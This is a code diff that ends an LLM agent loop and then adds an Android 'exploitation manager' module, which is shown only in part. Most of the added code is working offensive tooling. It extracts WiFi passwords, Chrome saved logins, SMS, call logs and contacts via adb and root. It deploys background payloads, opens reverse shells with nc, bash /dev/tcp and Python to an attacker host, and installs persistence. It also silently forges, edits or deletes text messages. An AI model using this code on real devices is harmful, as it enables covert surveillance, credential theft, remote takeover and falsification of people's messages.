Any]) -> str: + """Execute a tool and return the result. + + Args: + tool_name: Name of the tool to execute. + params: Parameters for the tool. + + Returns: + Tool result string. + """ + result = self.tools.execute(tool_name, **params) + + if result["success"]: + return str(result["result"]) + else: + return f"[Error]: {result['error']}" + + def run(self, task: str, user_input_handler: Callable[[str], str] = None, + step_callback: Optional[Callable[['AgentStep'], None]] = None) -> AgentResult: + """Run the agent on a task. + + Args: + task: The task description. + user_input_handler: Callback for handling ask_user actions. + If None, uses default input(). + step_callback: Optional per-step callback invoked after each step completes. + Overrides self.on_step for this run if provided. + + Returns: + AgentResult with execution details. + """ + if step_callback is not None: + self.on_step = step_callback + self.current_task = task + self.steps = [] + self.conversation = [] + + # Ensure model is loaded + if not self.llm.is_loaded: + self._log("Loading model...", "info") + try: + self.llm.load_model(verbose=self.verbose) + except LLMError as e: + self._set_state(AgentState.ERROR) + return AgentResult( + success=False, + summary="Failed to load model", + error=str(e) + ) + + self._set_state(AgentState.THINKING) + self._log(f"Starting task: {task}", "info") + + # Build initial prompt + system_prompt = self._build_system_prompt() + self.conversation.append({"role": "system", "content": system_prompt}) + self.conversation.append({"role": "user", "content": f"Task: {task}"}) + + step_count = 0 + parse_failures = 0 # Track consecutive format failures + + while step_count < self.max_steps: + step_count += 1 + self._log(f"Step {step_count}/{self.max_steps}", "info") + + # Generate response + self._set_state(AgentState.THINKING) + try: + prompt = self._build_prompt() + response = self.llm.generate( + prompt, + stop=["OBSERVATION:", "\nUser:", "\nTask:"], + temperature=0.3, # Lower temperature for more focused responses + ) + except LLMError as e: + self._set_state(AgentState.ERROR) + return AgentResult( + success=False, + summary="LLM generation failed", + steps=self.steps, + error=str(e) + ) + + # Parse response + try: + thought, action, params = self._parse_response(response) + parse_failures = 0 # Reset on success + except ValueError as e: + parse_failures += 1 + self._log(f"Failed to parse response: {e}", "error") + self._log(f"Raw response: {response[:200]}...", "warning") + + # After 2 consecutive parse failures, the model can't follow + # the structured format — treat its response as a direct answer + if parse_failures >= 2: + # Clean up the raw response for display + answer = response.strip() + # Remove ChatML tokens if present + for tag in ['<|im_end|>', '<|im_start|>', '<|endoftext|>']: + answer = answer.split(tag)[0] + answer = answer.strip() + if not answer: + answer = "I could not process that request in agent mode. Try switching to Chat mode." + + self._log("Model cannot follow structured format, returning direct answer", "warning") + step = AgentStep(thought="Direct response (model does not support agent format)", tool_name="task_complete", tool_args={"summary": answer}) + step.tool_result = answer + self.steps.append(step) + if self.on_step: + self.on_step(step) + self._set_state(AgentState.COMPLETE) + return AgentResult(success=True, summary=answer, steps=self.steps) + + # First failure — give one retry with format correction + self.conversation.append({ + "role": "assistant", + "content": response + }) + self.conversation.append({ + "role": "user", + "content": "Error: Could not parse your response. Please use the exact format:\nTHOUGHT: [reasoning]\nACTION: [tool_name]\nPARAMS: {\"param\": \"value\"}" + }) + continue + + self._log(f"Thought: {thought[:100]}..." if len(thought) > 100 else f"Thought: {thought}", "thought") + self._log(f"Action: {action}", "action") + + step = AgentStep(thought=thought, tool_name=action, tool_args=params) + + # Handle task_complete + if action == "task_complete": + summary = params.get("summary", thought) + step.tool_result = summary + self.steps.append(step) + + if self.on_step: + self.on_step(step) + + self._set_state(AgentState.COMPLETE) + self._log(f"Task complete: {summary}", "success") + + return AgentResult( + success=True, + summary=summary, + steps=self.steps + ) + + # Handle ask_user + if action == "ask_user": + question = params.get("question", "What should I do?") + self._set_state(AgentState.WAITING_USER) + self._log(f"Agent asks: {question}", "info") + + if user_input_handler: + user_response = user_input_handler(question) + else: + print(f"\n{Colors.YELLOW}Agent question: {question}{Colors.RESET}") + user_response = input(f"{Colors.GREEN}Your answer: {Colors.RESET}").strip() + + step.tool_result = f"User response: {user_response}" + self.steps.append(step) + + if self.on_step: + self.on_step(step) + + # Add to conversation + self.conversation.append({ + "role": "assistant", + "content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}" + }) + self.conversation.append({ + "role": "user", + "content": f"OBSERVATION: User responded: {user_response}" + }) + continue + + # Execute tool + self._set_state(AgentState.EXECUTING) + self._log(f"Executing: {action}({params})", "action") + + result = self._execute_tool(action, params) + step.tool_result = result + self.steps.append(step) + + if self.on_step: + self.on_step(step) + + # Truncate long results for display + display_result = result[:200] + "..." if len(result) > 200 else result + self._log(f"Result: {display_result}", "result") + + # Add to conversation + self.conversation.append({ + "role": "assistant", + "content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}" + }) + self.conversation.append({ + "role": "user", + "content": f"OBSERVATION: {result}" + }) + + # Max steps reached + self._set_state(AgentState.ERROR) + self._log(f"Max steps ({self.max_steps}) reached", "warning") + + return AgentResult( + success=False, + summary="Max steps reached without completing task", + steps=self.steps, + error=f"Exceeded maximum of {self.max_steps} steps" + ) + + def _build_prompt(self) -> str: + """Build the full prompt from conversation history.""" + parts = [] + for msg in self.conversation: + role = msg["role"] + content = msg["content"] + + if role == "system": + parts.append(f"<|im_start|>system\n{content}<|im_end|>") + elif role == "user": + parts.append(f"<|im_start|>user\n{content}<|im_end|>") + elif role == "assistant": + parts.append(f"<|im_start|>assistant\n{content}<|im_end|>") + + parts.append("<|im_start|>assistant\n") + return "\n".join(parts) + + def get_steps_summary(self) -> str: + """Get a formatted summary of all steps taken.""" + if not self.steps: + return "No steps executed" + + lines = [] + for i, step in enumerate(self.steps, 1): + lines.append(f"Step {i}:") + lines.append(f" Thought: {step.thought[:80]}...") + if step.tool_name: + lines.append(f" Action: {step.tool_name}") + if step.tool_result: + result_preview = step.tool_result[:80] + "..." if len(step.tool_result) > 80 else step.tool_result + lines.append(f" Result: {result_preview}") + lines.append("") + + return "\n".join(lines) diff --git a/core/android_exploit.py b/core/android_exploit.py new file mode 100644 index 0000000..b5a06a1 --- /dev/null +++ b/core/android_exploit.py @@ -0,0 +1,2804 @@ +""" +AUTARCH Android Exploitation Manager +App extraction, device recon, payload deployment, boot/recovery exploits, rooting. +Wraps HardwareManager for offensive Android operations. +""" + +import os +import re +import json +import time +import sqlite3 +import shutil +from pathlib import Path +from typing import Optional, List, Dict, Any + +from core.paths import get_data_dir +from core.hardware import get_hardware_manager + + +class AndroidExploitManager: + """All Android exploitation logic.""" + + def __init__(self): + self.hw = get_hardware_manager() + self._base = get_data_dir() / 'android_exploit' + for sub in ('apps', 'recon', 'payloads', 'boot', 'root'): + (self._base / sub).mkdir(parents=True, exist_ok=True) + + def _serial_dir(self, category, serial): + d = self._base / category / serial + d.mkdir(parents=True, exist_ok=True) + return d + + def _shell(self, serial, cmd, timeout=30): + """Raw shell command (no safety filter).""" + return self.hw.adb_shell_raw(serial, cmd, timeout=timeout) + + # ── App Extraction ─────────────────────────────────────────────── + + def list_packages(self, serial, include_system=False): + """List installed packages. Returns [{package, path, is_system}].""" + flag = '' if include_system else '-3' + res = self._shell(serial, f'pm list packages -f {flag}') + if res['returncode'] != 0: + return {'error': res['output'], 'packages': []} + packages = [] + for line in res['output'].strip().split('\n'): + line = line.strip() + if not line.startswith('package:'): + continue + # Format: package:/data/app/com.example-1/base.apk=com.example + rest = line[len('package:'):] + if '=' in rest: + path, pkg = rest.rsplit('=', 1) + is_sys = path.startswith('/system') or path.startswith('/product') + packages.append({'package': pkg, 'path': path, 'is_system': is_sys}) + return {'packages': packages, 'count': len(packages)} + + def pull_apk(self, serial, package): + """Pull APK for a package.""" + # Get APK path + res = self._shell(serial, f'pm path {package}') + if res['returncode'] != 0 or not res['output'].strip(): + return {'success': False, 'error': f'Cannot find path for {package}'} + apk_path = res['output'].strip().replace('package:', '').split('\n')[0].strip() + + out_dir = self._serial_dir('apps', serial) + local_path = str(out_dir / f'{package}.apk') + result = self.hw.adb_pull(serial, apk_path, local_path) + if result['success']: + size = os.path.getsize(local_path) if os.path.exists(local_path) else 0 + return {'success': True, 'local_path': local_path, 'size': size, 'remote_path': apk_path} + return {'success': False, 'error': result.get('output', 'Pull failed')} + + def pull_app_data(self, serial, package): + """Pull app data (databases, shared_prefs, files). Tries run-as then root.""" + out_dir = self._serial_dir('apps', serial) / f'{package}_data' + out_dir.mkdir(parents=True, exist_ok=True) + pulled = [] + + # Try run-as first (debuggable apps) + for subdir in ('databases', 'shared_prefs', 'files'): + res = self._shell(serial, f'run-as {package} ls /data/data/{package}/{subdir}/ 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + for fname in res['output'].strip().split('\n'): + fname = fname.strip() + if not fname: + continue + remote = f'/data/data/{package}/{subdir}/{fname}' + # Try run-as cat to pull + cat_res = self._shell(serial, f'run-as {package} cat {remote}', timeout=15) + if cat_res['returncode'] == 0: + local_sub = out_dir / subdir + local_sub.mkdir(exist_ok=True) + local_file = local_sub / fname + with open(local_file, 'w') as f: + f.write(cat_res['output']) + pulled.append(str(local_file)) + + # If run-as didn't work, try root + if not pulled: + for subdir in ('databases', 'shared_prefs', 'files'): + res = self._shell(serial, f'su -c "ls /data/data/{package}/{subdir}/" 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + for fname in res['output'].strip().split('\n'): + fname = fname.strip() + if not fname: + continue + remote = f'/data/data/{package}/{subdir}/{fname}' + tmp = f'/data/local/tmp/_exfil_{fname}' + self._shell(serial, f'su -c "cp {remote} {tmp} && chmod 644 {tmp}"') + local_sub = out_dir / subdir + local_sub.mkdir(exist_ok=True) + local_file = str(local_sub / fname) + self.hw.adb_pull(serial, tmp, local_file) + self._shell(serial, f'rm {tmp}') + if os.path.exists(local_file): + pulled.append(local_file) + + return {'success': len(pulled) > 0, 'files': pulled, 'output_dir': str(out_dir)} + + def extract_shared_prefs(self, serial, package): + """Extract shared_prefs XML files for a package.""" + res = self._shell(serial, f'run-as {package} ls /data/data/{package}/shared_prefs/ 2>/dev/null') + if res['returncode'] != 0: + # Try root + res = self._shell(serial, f'su -c "ls /data/data/{package}/shared_prefs/" 2>/dev/null') + if res['returncode'] != 0: + return {'success': False, 'error': 'Cannot access shared_prefs (need debuggable app or root)'} + + prefs = {} + for fname in res['output'].strip().split('\n'): + fname = fname.strip() + if not fname or not fname.endswith('.xml'): + continue + cat = self._shell(serial, f'run-as {package} cat /data/data/{package}/shared_prefs/{fname} 2>/dev/null') + if cat['returncode'] != 0: + cat = self._shell(serial, f'su -c "cat /data/data/{package}/shared_prefs/{fname}" 2>/dev/null') + if cat['returncode'] == 0: + prefs[fname] = cat['output'] + + return {'success': len(prefs) > 0, 'prefs': prefs, 'count': len(prefs)} + + # ── Device Recon ───────────────────────────────────────────────── + + def full_device_dump(self, serial): + """Full device reconnaissance dump.""" + dump = {} + # All properties + res = self._shell(serial, 'getprop', timeout=15) + if res['returncode'] == 0: + props = {} + for line in res['output'].split('\n'): + m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line) + if m: + props[m.group(1)] = m.group(2) + dump['properties'] = props + + # Key system info + dump['device_info'] = self.hw.adb_device_info(serial) + + # SELinux status + res = self._shell(serial, 'getenforce 2>/dev/null') + dump['selinux'] = res['output'].strip() if res['returncode'] == 0 else 'unknown' + + # Kernel version + res = self._shell(serial, 'uname -a') + dump['kernel'] = res['output'].strip() if res['returncode'] == 0 else 'unknown' + + # Build fingerprint + res = self._shell(serial, 'getprop ro.build.fingerprint') + dump['fingerprint'] = res['output'].strip() if res['returncode'] == 0 else 'unknown' + + # Network info + res = self._shell(serial, 'ip addr show 2>/dev/null || ifconfig') + dump['network'] = res['output'].strip() if res['returncode'] == 0 else '' + + # Installed packages count + res = self._shell(serial, 'pm list packages | wc -l') + dump['package_count'] = res['output'].strip() if res['returncode'] == 0 else '0' + + # Running services + res = self._shell(serial, 'dumpsys activity services | head -50', timeout=15) + dump['services_sample'] = res['output'].strip() if res['returncode'] == 0 else '' + + return dump + + def get_accounts(self, serial): + """Get accounts registered on device.""" + res = self._shell(serial, 'dumpsys account 2>/dev/null', timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output']} + accounts = [] + current = None + for line in res['output'].split('\n'): + line = line.strip() + # Account {name=user@gmail.com, type=com.google} + m = re.search(r'Account\s*\{name=(.+?),\s*type=(.+?)\}', line) + if m: + accounts.append({'name': m.group(1), 'type': m.group(2)}) + # Deduplicate + seen = set() + unique = [] + for a in accounts: + key = f"{a['name']}:{a['type']}" + if key not in seen: + seen.add(key) + unique.append(a) + return {'success': True, 'accounts': unique, 'count': len(unique)} + + def get_wifi_passwords(self, serial): + """Extract saved WiFi passwords. Requires ROOT.""" + passwords = [] + # Try newer Android (WifiConfigStore.xml) + res = self._shell(serial, 'su -c "cat /data/misc/wifi/WifiConfigStore.xml" 2>/dev/null', timeout=15) + if res['returncode'] == 0 and res['output'].strip(): + ssid = None + for line in res['output'].split('\n'): + m = re.search(r'"SSID".*?"(.+?)"', line) + if m: + ssid = m.group(1).strip('"') + m = re.search(r'"PreSharedKey".*?"(.+?)"', line) + if m and ssid: + passwords.append({'ssid': ssid, 'password': m.group(1).strip('"')}) + ssid = None + else: + # Try older Android (wpa_supplicant.conf) + res = self._shell(serial, 'su -c "cat /data/misc/wifi/wpa_supplicant.conf" 2>/dev/null', timeout=15) + if res['returncode'] == 0: + ssid = None + for line in res['output'].split('\n'): + line = line.strip() + if line.startswith('ssid='): + ssid = line.split('=', 1)[1].strip('"') + elif line.startswith('psk=') and ssid: + passwords.append({'ssid': ssid, 'password': line.split('=', 1)[1].strip('"')}) + ssid = None + + if not passwords: + return {'success': False, 'error': 'No WiFi passwords found (need root)', 'passwords': []} + return {'success': True, 'passwords': passwords, 'count': len(passwords)} + + def extract_call_logs(self, serial, limit=200): + """Extract call logs via content provider.""" + res = self._shell(serial, + f'content query --uri content://call_log/calls --projection number:type:date:duration --sort "date DESC" 2>/dev/null', + timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'calls': []} + calls = [] + type_map = {'1': 'incoming', '2': 'outgoing', '3': 'missed', '4': 'voicemail', '5': 'rejected'} + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if 'number' in entry: + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + calls.append(entry) + if len(calls) >= limit: + break + return {'success': True, 'calls': calls, 'count': len(calls)} + + def extract_sms(self, serial, limit=200): + """Extract SMS messages via content provider.""" + res = self._shell(serial, + f'content query --uri content://sms/ --projection address:body:date:type --sort "date DESC" 2>/dev/null', + timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'messages': []} + messages = [] + type_map = {'1': 'inbox', '2': 'sent', '3': 'draft'} + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if 'address' in entry: + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + messages.append(entry) + if len(messages) >= limit: + break + return {'success': True, 'messages': messages, 'count': len(messages)} + + def extract_contacts(self, serial): + """Extract contacts via content provider.""" + res = self._shell(serial, + 'content query --uri content://contacts/phones/ --projection display_name:number 2>/dev/null', + timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'contacts': []} + contacts = [] + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if 'display_name' in entry or 'number' in entry: + contacts.append(entry) + return {'success': True, 'contacts': contacts, 'count': len(contacts)} + + def extract_browser_history(self, serial): + """Pull Chrome History SQLite and query it locally. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + remote = '/data/data/com.android.chrome/app_chrome/Default/History' + tmp = '/data/local/tmp/_chrome_history' + self._shell(serial, f'su -c "cp {remote} {tmp} && chmod 644 {tmp}"') + local_path = str(out_dir / 'chrome_history.db') + result = self.hw.adb_pull(serial, tmp, local_path) + self._shell(serial, f'rm {tmp}') + + if not result['success'] or not os.path.exists(local_path): + return {'success': False, 'error': 'Cannot pull Chrome history (need root)', 'history': []} + + history = [] + try: + conn = sqlite3.connect(local_path) + cur = conn.cursor() + cur.execute('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 200') + for row in cur.fetchall(): + history.append({ + 'url': row[0], 'title': row[1], + 'visit_count': row[2], 'last_visit': row[3] + }) + conn.close() + except Exception as e: + return {'success': False, 'error': str(e), 'history': []} + + return {'success': True, 'history': history, 'count': len(history), 'db_path': local_path} + + def extract_saved_credentials(self, serial): + """Pull Chrome Login Data SQLite. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + remote = '/data/data/com.android.chrome/app_chrome/Default/Login Data' + tmp = '/data/local/tmp/_chrome_logins' + self._shell(serial, f'su -c "cp \'{remote}\' {tmp} && chmod 644 {tmp}"') + local_path = str(out_dir / 'chrome_logins.db') + result = self.hw.adb_pull(serial, tmp, local_path) + self._shell(serial, f'rm {tmp}') + + if not result['success'] or not os.path.exists(local_path): + return {'success': False, 'error': 'Cannot pull Login Data (need root)', 'credentials': []} + + creds = [] + try: + conn = sqlite3.connect(local_path) + cur = conn.cursor() + cur.execute('SELECT origin_url, username_value, password_value FROM logins') + for row in cur.fetchall(): + creds.append({ + 'url': row[0], 'username': row[1], + 'password_encrypted': bool(row[2]) + }) + conn.close() + except Exception as e: + return {'success': False, 'error': str(e), 'credentials': []} + + return {'success': True, 'credentials': creds, 'count': len(creds), 'db_path': local_path} + + def export_recon_report(self, serial): + """Run all recon methods and save to JSON.""" + out_dir = self._serial_dir('recon', serial) + report = { + 'serial': serial, + 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'), + 'device_dump': self.full_device_dump(serial), + 'accounts': self.get_accounts(serial), + 'call_logs': self.extract_call_logs(serial), + 'sms': self.extract_sms(serial), + 'contacts': self.extract_contacts(serial), + } + report_path = str(out_dir / f'report_{int(time.time())}.json') + with open(report_path, 'w') as f: + json.dump(report, f, indent=2, default=str) + return {'success': True, 'report_path': report_path, 'sections': list(report.keys())} + + # ── Payload Deployment ─────────────────────────────────────────── + + def deploy_binary(self, serial, local_path, remote_path='/data/local/tmp/'): + """Push a binary and make it executable.""" + if not os.path.isfile(local_path): + return {'success': False, 'error': f'File not found: {local_path}'} + fname = os.path.basename(local_path) + if remote_path.endswith('/'): + remote_full = remote_path + fname + else: + remote_full = remote_path + result = self.hw.adb_push(serial, local_path, remote_full) + if not result['success']: + return {'success': False, 'error': result.get('output', 'Push failed')} + self._shell(serial, f'chmod +x {remote_full}') + return {'success': True, 'remote_path': remote_full} + + def execute_payload(self, serial, remote_path, args='', background=True): + """Execute a deployed payload.""" + if background: + cmd = f'nohup {remote_path} {args} > /dev/null 2>&1 & echo $!' + else: + cmd = f'{remote_path} {args}' + res = self._shell(serial, cmd, timeout=15) + pid = res['output'].strip().split('\n')[-1].strip() if background else '' + return { + 'success': res['returncode'] == 0, + 'output': res['output'], + 'pid': pid, + 'background': background, + } + + def setup_reverse_shell(self, serial, lhost, lport, method='nc'): + """Set up a reverse shell on device.""" + if method == 'nc': + cmd = f'nohup sh -c "nc {lhost} {lport} -e /system/bin/sh" > /dev/null 2>&1 &' + elif method == 'bash': + cmd = f'nohup sh -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" > /dev/null 2>&1 &' + elif method == 'python': + py_cmd = (f"import socket,subprocess,os;" + f"s=socket.socket();" + f"s.connect(('{lhost}',{lport}));" + f"os.dup2(s.fileno(),0);" + f"os.dup2(s.fileno(),1);" + f"os.dup2(s.fileno(),2);" + f"subprocess.call(['/system/bin/sh','-i'])") + cmd = f'nohup python -c "{py_cmd}" > /dev/null 2>&1 &' + else: + return {'success': False, 'error': f'Unknown method: {method}'} + + res = self._shell(serial, cmd, timeout=10) + return { + 'success': True, + 'method': method, + 'lhost': lhost, + 'lport': lport, + 'output': res['output'], + } + + def install_persistence(self, serial, method='init.d'): + """Install persistence mechanism. Requires ROOT.""" + if method == 'init.d': + script = '#!/system/bin/sh\n# AUTARCH persistence\n' + # Write a minimal init.d script + res = self._shell(serial, + f'su -c "mkdir -p /system/etc/init.d && ' + f'echo \'#!/system/bin/sh\' > /system/etc/init.d/99autarch && ' + f'chmod 755 /system/etc/init.d/99autarch"') + return { + 'success': res['returncode'] == 0, + 'method': method, + 'path': '/system/etc/init.d/99autarch', + 'output': res['output'], + } + return {'success': False, 'error': f'Unknown method: {method}'} + + def list_running_payloads(self, serial): + """List processes in /data/local/tmp/.""" + res = self._shell(serial, 'ps -ef 2>/dev/null || ps') + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'payloads': []} + payloads = [] + for line in res['output'].split('\n'): + if '/data/local/tmp/' in line: + parts = line.split() + if len(parts) >= 2: + payloads.append({ + 'pid': parts[1] if len(parts) > 1 else parts[0], + 'command': line.strip(), + }) + return {'success': True, 'payloads': payloads, 'count': len(payloads)} + + def kill_payload(self, serial, pid): + """Kill a running payload by PID.""" + res = self._shell(serial, f'kill {pid} 2>/dev/null || su -c "kill {pid}"') + return {'success': True, 'pid': pid, 'output': res['output']} + + # ── SMS Manipulation ───────────────────────────────────────────── + + def _with_sms_role(self, serial, am_cmd, timeout=15): + """Execute a broadcast while Archon is temporarily the default SMS app. + + Swaps Archon into the SMS role, runs the broadcast, reads the result + file, then restores the original default SMS app. Fully silent. + """ + # Check Archon is installed + res = self._shell(serial, 'pm list packages com.darkhal.archon', timeout=5) + if 'com.darkhal.archon' not in res.get('output', ''): + return {'success': False, 'error': 'Archon companion app not installed'} + + # Get current default SMS app + res = self._shell(serial, 'cmd role get-role-holders android.app.role.SMS', timeout=5) + original_sms_app = '' + if res['returncode'] == 0: + out = res['output'].strip() + # Output may be bare package name or [package] depending on Android version + m = re.search(r'\[(.+?)\]', out) + if m: + original_sms_app = m.group(1) + elif out and '.' in out: + original_sms_app = out.split('\n')[0].strip() + + try: + # Grant SMS permissions to Archon + for perm in ['READ_SMS', 'SEND_SMS', 'RECEIVE_SMS']: + self._shell(serial, + f'pm grant com.darkhal.archon android.permission.{perm}', + timeout=5) + + # Set Archon as default SMS app + self._shell(serial, + 'cmd role add-role-holder android.app.role.SMS com.darkhal.archon 0', + timeout=5) + + # Clear previous result + self._shell(serial, + 'run-as com.darkhal.archon rm -f files/sms_result.txt', + timeout=5) + + # Send the broadcast + self._shell(serial, am_cmd, timeout=10) + + # Wait for receiver to process + time.sleep(0.5) + + # Read result + res = self._shell(serial, + 'run-as com.darkhal.archon cat files/sms_result.txt', + timeout=5) + result_text = res.get('output', '').strip() + + if result_text.startswith('SUCCESS:'): + return {'success': True, 'detail': result_text[8:]} + elif result_text.startswith('FAIL:') or result_text.startswith('ERROR:'): + return {'success': False, 'error': result_text} + else: + return {'success': False, + 'error': f'No result from Archon (got: {result_text or "empty"})'} + + finally: + # Always restore original default SMS app + if original_sms_app and original_sms_app != 'com.darkhal.archon': + self._shell(serial, + f'cmd role add-role-holder android.app.role.SMS' + f' {original_sms_app} 0', + timeout=5) + + def _sms_max_id(self, serial): + """Get the current maximum _id in the SMS table (for verifying inserts).""" + res = self._shell(serial, + 'content query --uri content://sms/ --projection _id' + ' --sort "_id DESC LIMIT 1"', timeout=5) + if res['returncode'] == 0: + m = re.search(r'_id=(\d+)', res['output']) + if m: + return int(m.group(1)) + return 0 + + def _sms_row_exists(self, serial, sms_id): + """Check if a specific SMS _id exists.""" + res = self._shell(serial, + f'content query --uri content://sms/{sms_id} --projection _id', + timeout=5) + return res['returncode'] == 0 and '_id=' in res.get('output', '') + + def sms_list(self, serial, limit=50, address=None): + """List SMS messages on device. Optional filter by address (phone number).""" + proj = '_id:address:body:date:type:read' + cmd = f'content query --uri content://sms/ --projection {proj} --sort "date DESC"' + res = self._shell(serial, cmd, timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'messages': []} + type_map = {'1': 'inbox', '2': 'sent', '3': 'draft', '4': 'outbox'} + messages = [] + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if '_id' not in entry: + continue + if address and entry.get('address', '') != address: + continue + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + # Convert epoch ms to readable + try: + ts = int(entry.get('date', 0)) + if ts > 0: + entry['date_readable'] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts / 1000)) + except (ValueError, OSError): + pass + messages.append(entry) + if len(messages) >= limit: + break + return {'success': True, 'messages': messages, 'count': len(messages)} + + def sms_insert(self, serial, address, body, date_str=None, time_str=None, + msg_type='inbox', read=True): + """Insert a spoofed SMS message. + + Args: + address: Phone number (sender for inbox, recipient for sent) + body: Message text + date_str: Date as YYYY-MM-DD (default: now) + time_str: Time as HH:MM:SS (default: now) + msg_type: 'inbox' (1), 'sent' (2), 'draft' (3) + read: Mark as read + """ + type_map = {'inbox': 1, 'sent': 2, 'draft': 3, 'outbox': 4, + '1': 1, '2': 2, '3': 3, '4': 4} + type_val = type_map.get(str(msg_type), 1) + + # Build epoch milliseconds from date + time + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + date_ms = int(ts * 1000) + except ValueError: + return {'success': False, 'error': f'Invalid date/time: {dt_str}'} + else: + date_ms = int(time.time() * 1000) + + # Try enabling WRITE_SMS appop for shell (helps on Android 10-12) + self._shell(serial, 'appops set com.android.shell WRITE_SMS allow', timeout=5) + + # Snapshot max _id before insert to verify afterwards + old_max = self._sms_max_id(serial) + + body_escaped = body.replace("'", "'\\''") + cmd = ( + f"content insert --uri content://sms/" + f" --bind address:s:'{address}'" + f" --bind body:s:'{body_escaped}'" + f" --bind date:l:{date_ms}" + f" --bind type:i:{type_val}" + f" --bind read:i:{1 if read else 0}" + f" --bind seen:i:1" + ) + res = self._shell(serial, cmd, timeout=10) + + if res['returncode'] == 0: + # Verify the insert actually created a row (Android 10+ silently drops) + new_max = self._sms_max_id(serial) + if new_max > old_max: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(date_ms / 1000)) + return { + 'success': True, + 'address': address, 'body': body, + 'date': date_readable, 'date_ms': date_ms, 'type': msg_type, + } + + # Direct insert failed (silently rejected) — use Archon app as SMS role proxy + body_escaped = body.replace("'", "'\\''") + am_cmd = ( + f"am broadcast -a com.darkhal.archon.SMS_INSERT" + f" -n com.darkhal.archon/.service.SmsWorker" + f" --es address '{address}'" + f" --es body '{body_escaped}'" + f" --el date {date_ms}" + f" --ei type {type_val}" + f" --ei read {1 if read else 0}" + ) + archon = self._with_sms_role(serial, am_cmd) + if archon.get('success'): + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(date_ms / 1000)) + return { + 'success': True, + 'address': address, 'body': body, + 'date': date_readable, 'date_ms': date_ms, 'type': msg_type, + 'method': 'archon_proxy', + } + + return {'success': False, 'error': archon.get('error', 'SMS insert failed')} + + def sms_delete(self, serial, sms_id=None, address=None, delete_all_from=False): + """Delete SMS messages. + + Args: + sms_id: Delete specific message by _id + address: Delete messages from/to this number + delete_all_from: If True and address set, delete ALL from that number + """ + # Enable WRITE_SMS appop (helps on Android 10-12) + self._shell(serial, 'appops set com.android.shell WRITE_SMS allow', timeout=5) + + if sms_id: + if not self._sms_row_exists(serial, sms_id): + return {'success': False, 'error': f'SMS #{sms_id} not found'} + cmd = f'content delete --uri content://sms/{sms_id}' + res = self._shell(serial, cmd, timeout=10) + if res['returncode'] == 0 and not self._sms_row_exists(serial, sms_id): + return {'success': True, 'deleted_id': sms_id} + return { + 'success': False, + 'error': ('SMS provider rejected delete — Android 10+ restricts ' + 'SMS database writes to the default SMS app.'), + } + elif address and delete_all_from: + cmd = f"content delete --uri content://sms/ --where \"address='{address}'\"" + res = self._shell(serial, cmd, timeout=10) + return { + 'success': res['returncode'] == 0, + 'deleted_address': address, + 'output': res['output'], + } + return {'success': False, 'error': 'Provide sms_id or address with delete_all_from=True'} + + def sms_delete_all(self, serial): + """Delete ALL SMS messages on the device.""" + cmd = 'content delete --uri content://sms/' + res = self._shell(serial, cmd, timeout=15) + return {'success': res['returncode'] == 0, 'output': res['output']} + + def sms_update(self, serial, sms_id, body=None, date_str=None, time_str=None, + address=None, msg_type=None, read=None): + """Update an existing SMS message fields.""" + self._shell(serial, 'appops set com.android.shell WRITE_SMS allow', timeout=5) + + if not self._sms_row_exists(serial, sms_id): + return {'success': False, 'error': f'SMS #{sms_id} not found'} + + binds = [] + if body is not None: + body_escaped = body.replace("'", "'\\''") + binds.append(f"--bind body:s:'{body_escaped}'") + if address is not None: + binds.append(f"--bind address:s:'{address}'") + if msg_type is not None: + type_map = {'inbox': 1, 'sent': 2, 'draft': 3, '1': 1, '2': 2, '3': 3} + binds.append(f"--bind type:i:{type_map.get(str(msg_type), 1)}") + if read is not None: + binds.append(f"--bind read:i:{1 if read else 0}") + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + binds.append(f"--bind date:l:{int(ts * 1000)}") + except ValueError: + return {'success': False, 'error': f'Invalid date/time: {dt_str}'} + + if not binds: + return {'success': False, 'error': 'Nothing to update'} + + cmd = f"content update --uri content://sms/{sms_id} {' '.join(binds)}" + res = self._shell(serial, cmd, timeout=10) + + # Verify update took effect by reading the row back + updated = False + if res['returncode'] == 0 and body is not None: + verify = self._shell(serial, + f'content query --uri content://sms/{sms_id}' + f' --projection body', timeout=5) + if verify['returncode'] == 0 and body in verify.get('output', ''): + updated = True + 